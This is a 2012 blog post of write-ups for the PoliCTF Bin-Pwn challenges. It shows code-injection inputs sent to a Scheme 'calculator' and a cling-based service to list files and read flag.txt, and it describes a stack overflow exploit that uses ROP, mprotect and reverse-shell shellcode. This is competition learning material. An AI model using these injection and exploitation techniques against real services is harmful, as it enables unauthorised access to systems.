28 November, 2012

PoliCTF 2012 Part 0x01 Bin-Pwn

I took part in PoliCTF 2012 and right now I'd like to make some notes how to solve challenges from this competition. All challenges in this CTF were divided in four groups: Crypto, Bin-Pwn, GrabBag and Forensics. 100, 200, 300, 400 and 500 points challenges in each division. This post is the first one and about all BIN-PWN challenges.



Content

Bin-Pwn 100
Bin-Pwn 200
Bin-Pwn 300
Bin-Pwn 400
Bin-Pwn 500



Bin-Pwn 100

Question:

Retrieve the key.
Attachment: e159727a9475c11.tbz2.gpg 
(password: 05adc72b9da100f4e28c173ac87947a91ee99b2b )

Solution:

1:  $ gpg -d --output bin100.tbz2 e159727a9475c11.tbz2.gpg && tar jxvf bin100.tbz2   
2:  gpg: AES256 encrypted data  
3:  gpg: gpg-agent is not available in this session  
4:  gpg: encrypted with 1 passphrase  
5:  ./  
6:  ./umad.tar.gz  
7:    
8:  $ tar zxvf umad.tar.gz   
9:  jpeg/  
10:  jpeg/jconfig.h  
11:  jpeg/jpeglib.h  
12:  jpeg/jmorecfg.h  
13:  jpeg/jerror.h  
14:  libjpeg.a  
15:  Makefile  
16:  umad.cpp  
17:    
18:  $ make  
19:  g++ -o umad umad.cpp -L. -ljpeg  
20:    
21:  $ file umad  
22:  umad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x7cd7a921b8c171ced41be74329df09221fbb62c8, not stripped  
23:    
24:  $ ./umad   
25:  Done  
26:    
27:  $ file out.jpeg   
28:  out.jpeg: JPEG image data, JFIF standard 1.01  


That's the image that we got:



I read the umad.cpp and didn't find anything interesting. Then I took the libjpeg.a library from this task and compared its content with the original library.

1:  $ ar t libjpeg.a   
2:  ...  
3:  jcmarker.jpeg  
4:  ...  


In original libjpeg.a there's not such a file: jcmarker.jpeg. Let's have a look at it:

1:  $ file jcmarker.jpeg   
2:  jcmarker.jpeg: data  


Interesting - not a jpeg file.

1:  $ hexdump -C jcmarker.jpeg |head -10  
2:  00000000 23 21 2f 62 69 6e 2f 73 68 0a 00 01 01 01 00 60 |#!/bin/sh......`|  
3:  00000010 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 |.`.....C........|  
4:  00000020 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 |................|  
5:  00000030 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 |........... $.' |  
6:  00000040 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 |",#..(7),01444.'|  
7:  00000050 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 |9=82<.342...C...|  
8:  00000060 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 |........2!.!2222|  
9:  00000070 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 |2222222222222222|  
10:  *  
11:  00000090 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 |22222222222222..|  


It seems that header is corrupted. Compare with a real jpeg image, for instance out.jpeg

1:  $ hexdump -C out.jpeg |head -10  
2:  00000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 |......JFIF......|  
3:  00000010 00 01 00 00 ff db 00 43 00 03 02 02 03 02 02 03 |.......C........|  
4:  00000020 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 |................|  
5:  00000030 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d |................|  
6:  00000040 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f |................|  
7:  00000050 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 |............C...|  
8:  00000060 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 |................|  
9:  00000070 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 |................|  
10:  *  
11:  00000090 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 |................|  


Ok. Let's replace the first 10 bytes and that is it. Open the file and we will get the flag:


The answer flag is: 8d66668deee4964c2c429e2ae64ccc8667b5d911




Bin-Pwn 200

Question:

Play with this amazing calculator: calc.challenges.polictf.it:4000


Solution:

1:  $ telnet calc.challenges.polictf.it 4000  
2:  Trying 131.175.17.33...  
3:  Connected to calc.challenges.polictf.it.  
4:  Escape character is '^]'.  
5:  Write the first number:1  
6:  Write the operator:+  
7:  Write the second number:1  
8:  2Connection closed by foreign host.  
9:    
10:  $ telnet calc.challenges.polictf.it 4000  
11:  Trying 131.175.17.34...  
12:  Connected to calc.challenges.polictf.it.  
13:  Escape character is '^]'.  
14:  Write the first number:0   
15:  Write the operator:/  
16:  Write the second number:0  
17:    


and freeze. Ctrl+] and quit

After playing for some time I got this situation:

1:  $ telnet calc.challenges.polictf.it 4000  
2:  Trying 131.175.17.33...  
3:  Connected to calc.challenges.polictf.it.  
4:  Escape character is '^]'.  
5:  Write the first number:12  
6:  Write the operator:<  
7:  Write the second number:34  
8:  #tConnection closed by foreign host.  


Aha! It seems like a true value. After google it I found that it should be a Scheme interpreter. Ok, let's try something with it, for example, to list a directory content .

1:  $ telnet calc.challenges.polictf.it 4000  
2:  Trying 131.175.17.33...  
3:  Connected to calc.challenges.polictf.it.  
4:  Escape character is '^]'.  
5:  Write the first number:directory-list  
6:  Write the operator:  
7:  Write the second number:  
8:  (flag.txt challenge)Connection closed by foreign host.  


Ok, got it. There is a flag file. Read it!

1:  $ telnet calc.challenges.polictf.it 4000  
2:  Trying 131.175.17.34...  
3:  Connected to calc.challenges.polictf.it.  
4:  Escape character is '^]'.  
5:  Write the first number:read (open-input-file "flag.txt")  
6:  Write the operator:  
7:  Write the second number:  
8:  cb1228e2387cc12ad30fd4243fc23a0Connection closed by foreign host.  

The answer flag is: cb1228e2387cc12ad30fd4243fc23a0




Bin-Pwn 300

Question:

The attached binary is running at pwn.challenges.polictf.it
Attachment: 2a1687628b2ea96.tbz2.gpg
(password: 61e84431200a2d2d08bb2e61afbb8c78492a0b85 )


Solution:

1:  $ gpg -d --output bin300.tbz2 2a1687628b2ea96.tbz2.gpg && tar jxvf bin300.tbz2  
2:  gpg: AES256 encrypted data  
3:  gpg: gpg-agent is not available in this session  
4:  gpg: encrypted with 1 passphrase  
5:  ./  
6:  ./chal  


I didn't know which port was opened on the server, so while nmap was scanning it I looked at the binary in IDA



The opened port is: 7D00h which is qual to 32000 in decimal

1:  $ telnet pwn.challenges.polictf.it 32000  
2:  Trying 131.175.17.33...  
3:  Connected to pwn.challenges.polictf.it.  
4:  Escape character is '^]'.  
5:  test  
6:  hello  
7:  sdfsdfsdfgrtb  
8:  �Connection closed by foreign host.  


Ok. But what should we enter? Dive into IDA once again.
We can enter one of these commands:

1:  white  
2:  black  
3:  bintendo64  
4:  46odnetnib  
5:  hex  
6:  hax  


I spent a lot of time to find out that function black can be used to stack bassed buffer overflow attack. However, before do it we should find out the possibility by checking protections in binary. For this task I prefer using checksec script by Tobias Klein

1:  $ ./checksec.sh --file chal  
2:  RELRO           STACK CANARY        NX       PIE        RPATH     RUNPATH    FILE  
3:  Partial RELRO  No canary found  NX enabled  No PIE     No RPATH  No RUNPATH  chal  


Great! We won't be fighting against canary protection. It seems that we are going to fight against usual ASLR and NX protections. Let's have a look at the "black" function and try to understand how it overwrites the stack

1:   v8 = 0;  
2:   j = 0;  
3:   while ( 1 ) {  
4:    if ( v8 > 9 )  {  
5:     if ( j <= 511 )  
6:      *(_BYTE *)(j + buf_to_send) = 0;  
7:     return;  
8:    }  
9:    recv_bytes = read_data(fd, buf);  
10:    i = 0;  
11:    while ( i < strlen(buf) )  {  
12:     char_to_send = 0;  
13:     i2 = 0;  
14:     while ( i2 <= 7 )   {  
15:      if ( buf[i] == '\t' )    {  
16:       ++char_to_send;  
17:      }  
18:      else    {  
19:       if ( buf[i] != ' ' )  
20:        exit(-5);  
21:      }  
22:      if ( i2 != 7 )  
23:       char_to_send *= 2;  
24:      ++i2;  
25:      ++i;  
26:     }  
27:     *(_BYTE *)(buf_to_send + j++) = char_to_send;  
28:    }  
29:    if ( recv_bytes <= 511 )  
30:     break;  
31:    ++v8;  
32:   }  
33:   if ( j <= 511 )  
34:    *(_BYTE *)(j + buf_to_send) = 0;  
35:  }  


Got it. We can encrypt our input through spaces and tabs in binary style per each byte and then overwrite the stack using "buf_to_send" variable. This variable belongs to an upper function - serve that is forked from main per each accepted connection. Therefore, we should overwrite the return address of serve function. To bypass protections I used ROP against NX (aka DEP) and PLT functions with one gadget against ASLR. I used mprotect to set execution permit to a memory page and a recv function to receive a shellcode for a trivial reverse shell. To keep this post as short as possible, here is my exploit in Python: bin300.py. Get shell and explore.

As at the current moment of my writing the CTF's server is turned off. I'm giving here the output on my local machine, but that is the final step.

1:  $ python bin300.py   
2:  Sending payload...  
3:  Sending shellcode...  
4:  SheLL:   
5:  id  
6:  uid=1000(lifayk) gid=1000(lifayk) groups=1000(lifayk),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)  
7:  exit  

We got the shell. Unfortunately, I can't demonstrate the flag right now, but the challenge is solved.



Bin-Pwn 400

Question:

Alien Technologies.
challenge@alien.challenges.polictf.it:16000

Solution:

1:  $ telnet alien.challenges.polictf.it 16000  
2:  Trying 131.175.17.33...  
3:  Connected to alien.challenges.polictf.it.  
4:  Escape character is '^]'.  
5:  SSH-2.0-OpenSSH_6.1p1-hpn13v11  
6:    
7:  $ ssh -i id_rsa -p 16000 challenge@alien.challenges.polictf.it  
8:  loS ..........  
9:  ghItlh pIqaD (a..y)  
10:  x  
11:  Qagh ghItlhqa'  
12:  y  
13:  Hutlh  
14:  ghItlh pIqaD (a..y)  
15:  b  
16:  Hutlh  
17:  ghItlh pIqaD (a..y)  
18:  c  
19:  Qagh ghItlhqa'  
20:  a  
21:  Hutlh  
22:  ghItlh pIqaD (a..y)  
23:  f  
24:  Qagh ghItlhqa'  
25:  d  
26:  Qagh ghItlhqa'  
27:  z  
28:  Qagh ghItlhqa'  
29:  asd  
30:  Qagh ghItlhqa'  
31:  asdasdasd  
32:  Qagh ghItlhqa'  
33:  difjg34t3pjgpijfgsdfg  
34:  Qagh ghItlhqa'  
35:  a  
36:  Hutlh  
37:  ghItlh pIqaD (a..y)  
38:  Dor  
39:  Connection to alien.challenges.polictf.it closed.  


Google the strings..Result - the language is Klingon. Let's translate few phrases

1:  loS = wait  
2:  Hutlh = withoutQagh ghItlhqa' = mistake write again  


Ok. As we are asked to enter any one letter from alphabet, let's try all and translate messages. The most interesting for us are:

1:  ch = ghItlh teywI’ pong – write file name  
2:  gh = ghItlh De’     - write it  
3:  ng = ghItlh Qap     – write function  


So, now we can do something like that:

1:  loS ..........  
2:  ghItlh pIqaD (a..y)  
3:  ch  
4:  ghItlh teywI' pong (main.cpp, ...)  
5:  main.cpp  
6:   1   
7:   2 #include "prompt.h"  
8:   3 #include <iostream>  
9:   4 #include <cstdlib>  
10:   5 #include <unistd.h>  
11:   6 #include <pthread.h>  
12:   7   
13:   8 using namespace std;  
14:   9   
15:   10 void *timeout(void*)  
16:   11 {  
17:   12     sleep(60);  
18:   13     cout<<"Dor"<<endl;  
19:   14     exit(0);  
20:   15 }  
21:   16   
22:   17 int main()  
23:   18 {  
24:   19     pthread_t t;  
25:   20     pthread_create(&t,0,timeout,0);  
26:   21     cout<<"loS ";  
27:   22     cout.flush();  
28:   23     for(int i=0;i<10;i++)  
29:   24     {  
30:   25         sleep(1);  
31:   26         cout<<'.';  
32:   27         cout.flush();  
33:   28     }  
34:   29     cout<<endl;  
35:   30     Prompt prompt;  
36:   31     prompt.run();  
37:   32     return 0;  
38:   33 }  


And get all source files through ch, which are: main.cpp, prompt.h, prompt.cpp, data.h
There is an interesting line in prompt.cpp:

1:  //if(name=="flag.txt") ok=true;  


And a list of all functions that we can use:

1:  if(command=="ch")  
2:  {  
3:    dump();  
4:  } else if(command=="gh")  
5:  {  
6:    add();  
7:  } else if(command=="ng")  
8:  {  
9:    addOp();  
10:  } else if(command=="tlh")  
11:  {  
12:    get();  
13:  } else {  
14:    cout<<"Hutlh"<<endl;  
15:  }  


After analyse the code in prompt.cpp it is clear that we should inject our code to display the content of flag.txt. The best way to do it is to use gh, ng and tlh
In data.h said that we should enter at least two values through gh to inject the code into:

1:  Prompt()  
2:    
3:  {  
4:    op[0]="result=mean+variance";  
5:    op[1]="result=mean+2*variance";  
6:    op[2]="result=mean+3*variance";  
7:    op[3]=";";  
8:  }  
9:    
10:  if(values.size()<2)  
11:  {  
12:    cout<<"Qagh"<<endl;  
13:    return;  
14:  }  


Let;s try:

1:  $ ssh -i id_rsa -p 16000 challenge@alien.challenges.polictf.it  
2:  loS ..........  
3:  ghItlh pIqaD (a..y)  
4:  gh  
5:  ghItlh De'  
6:  1  
7:  ghItlh pIqaD (a..y)  
8:  gh  
9:  ghItlh De'  
10:  2  
11:  ghItlh pIqaD (a..y)  
12:  ng  
13:  ghItlh Qap  
14:  cout<<"Hello";  
15:  ghItlh pIqaD (a..y)  
16:  tlh  
17:  ghItlh Qap (0..3)  
18:  3  
19:  Hello1.5 0.5 0  


Nice. It works. Here we go

1:  $ ssh -i id_rsa -p 16000 challenge@alien.challenges.polictf.it  
2:  loS ..........  
3:  ghItlh pIqaD (a..y)  
4:  gh  
5:  ghItlh De'  
6:  23  
7:  ghItlh pIqaD (a..y)  
8:  gh  
9:  ghItlh De'  
10:  234  
11:  ghItlh pIqaD (a..y)  
12:  ng  
13:  ghItlh Qap  
14:  string z;ifstream f("flag.txt");while(getline(f, z)) cout<<z<<endl;  
15:  ghItlh pIqaD (a..y)  
16:  tlh  
17:  ghItlh Qap (0..3)  
18:  3  
19:  Well done, you found the flag:  
20:    
21:  jbvenvinvpek2envi2n  
22:    
23:  This challenge is powered by cling: http://root.cern.ch/drupal/content/cling  
24:  128.5 22260.5 0  

The answer flag is: jbvenvinvpek2envi2n




Bin-Pwn 500

Question:

The file obtained through question N contains the answer of question N+1.
Attachment: a0a288b0b3848dd.tbz2.gpg
(password: 4325db75a076b0d4be72f29991f5ec7603daa4ea )

Solution:

1:  $ gpg -d --output bin500.tbz2 a0a288b0b3848dd.tbz2.gpg && tar jxvf bin500.tbz2  
2:  gpg: AES256 encrypted data  
3:  gpg: gpg-agent is not available in this session  
4:  gpg: encrypted with 1 passphrase  
5:  ./  
6:  ./memento  
7:    
8:  $ file memento   
9:  memento: gzip compressed data, from Unix, last modified: Sun May 27 09:40:19 2012  
10:  $ mv memento memento.gz  
11:  $ gunzip memento.gz   
12:  $ file memento   
13:  memento: POSIX tar archive  
14:  $ mv memento memento.tar && tar xvf memento.tar  
15:  memento  
16:  $ file memento  
17:  memento: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped  
18:  $ ./memento   
19:  Which question?  
20:  0  
21:  How to solve the chicken and egg problem?  
22:  0  


In the beginning I didn't know that the first question starts from 0. I just opened the binary file in IDA and found out that this program accepts questions from 0 to 2 and a passphrase for each one. Then just write a file at the same directory. All files are encrypted using AES, so we should know the right key for each question to decrypt them properly. But as said in the question "question N contains the answer of question N+1". Let's try figure out what we can do with the first question. Question "0" and arbitrary key I entered is also 0. As the result I got 0.bmp . But as I said it was decrypted with the wrong key

1:  $ file 0.bmp   
2:  0.bmp: data  
3:    
4:  $ hexdump -C 0.bmp |head -10  
5:  00000000 6d 3d b1 c9 31 bb ff be ff 50 4f 73 50 9f 06 40 |m=..1....POsP..@|  
6:  00000010 b0 cd 21 23 26 e7 7b 40 cc 35 c0 2d d3 a6 cc 95 |..!#&.{@.5.-....|  
7:  00000020 8a c3 65 9b 32 d2 be b5 2d 4e 62 c5 01 0f 59 56 |..e.2...-Nb...YV|  
8:  00000030 10 dc 9b 04 48 66 d8 bd c5 12 88 97 61 5a a9 16 |....Hf......aZ..|  
9:  00000040 64 af d1 01 1c 15 2f 66 f2 32 3e e7 86 d2 a6 ef |d...../f.2>.....|  
10:  *  
11:  00061a90 41 96 f6 27 ce 81 b9 5d 84 95 ef 68 7c b2 97 a9 |A..'...]...h|...|  
12:  00061aa0 6c 10 df 96 78 b4 a1 ce ca 8c c3 89 e7 0f 86 2b |l...x..........+|  
13:  00061ab0 88 e7 9e 50 ea 89 53 57 4a 15 44 7e 2b 69 96 3c |...P..SWJ.D~+i.<|  
14:  00061ac0 dd 67 da 89 a7 14 66 89 f4 57 4a 3c e8 64 b1 4b |.g....f..WJ<.d.K|  
15:    


After more closer (wider) look at the encrypted file we can see that it was encrypted using ECB mode and, hopefully the file must be a BMP. We should just apply frequency analysis for blocks and represent blocks as pixels then. Here is my script for this task: bin500-0.py

1:  $ file 0.bmp  
2:  0.bmp: data  
3:  $ python bin500-0.py   
4:  $ file 0.png  
5:  0.png: PNG image data, 225 x 190, 1-bit grayscale, non-interlaced  


So the answer for the next question will be: Tro11d

1:  $ ./memento   
2:  Which question?  
3:  1  
4:  What have I been?  
5:  Tro11d  
6:  $ file 1.ogg   
7:  1.ogg: Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I  


This is a basic OGG audio file. You can also listen to it: 1.ogg. As I understand something in music and audio it is clear for me that the original song was modified.  So, some kind of steganography was applied. The first thing that comes to my mind about audio signals and hidden messages is frequency spectrum analysis. To do it I chose Sonic Visualiser. Just open the file, press G key and you will get this:



Cool! Here we go. The answer for the the last question will be: Thek3yt0th3n3xtl3v3l

1:  $ ./memento   
2:  Which question?  
3:  2  
4:  What do I need to go ahead?  
5:  Thek3yt0th3n3xtl3v3l  
6:  $ file 2.jpg   
7:  2.jpg: JPEG image data, JFIF standard 1.02  


And here is the funny image:


How do we suppose to find the flag from this image? I found absolutely the same image with the same dimension in the Internet and compare two files

1:  $ file 2.jpg coolface1.jpg   
2:  2.jpg:     JPEG image data, JFIF standard 1.02  
3:  coolface1.jpg: JPEG image data, JFIF standard 1.02  
4:  $ ls -l 2.jpg coolface1.jpg   
5:  -rw-rw-r-- 1 lifayk lifayk 143178 Nov 28 02:26 2.jpg  
6:  -rw-rw-r-- 1 lifayk lifayk 130439 Nov 28 03:56 coolface1.jpg      


12739 bytes in difference. There definitely should be some data encrypted. Lets compare two images using ImageMagic

1:  $ compare 2.jpg coolface1.jpg diff.png  



Now we are sure about it. I tried a lot of different tools to extract data and found the right one. It is Steghide by Stefan Hetzl.

1:  $ steghide info 2.jpg   
2:  "2.jpg":  
3:   format: jpeg  
4:   capacity: 6.1 KB  
5:  Try to get information about embedded data ? (y/n) y  
6:  Enter passphrase:   
7:   embedded file "flag.txt":  
8:    size: 62.0 Byte  
9:    encrypted: rijndael-128, cbc  
10:    compressed: yes  
11:  $ steghide --extract -sf 2.jpg   
12:  Enter passphrase:   
13:  wrote extracted data to "flag.txt".  
14:  $ cat flag.txt   
15:  MGZmMzE1MTI5YjkxNGYzZjk1NzFjNDc0ODIxYzI0ZmUxYzE3YTEzMiAgLQo=   

Hopefully there is no passphrase.
The answer flag is: MGZmMzE1MTI5YjkxNGYzZjk1NzFjNDc0ODIxYzI0ZmUxYzE3YTEzMiAgLQo=

No comments:

Post a Comment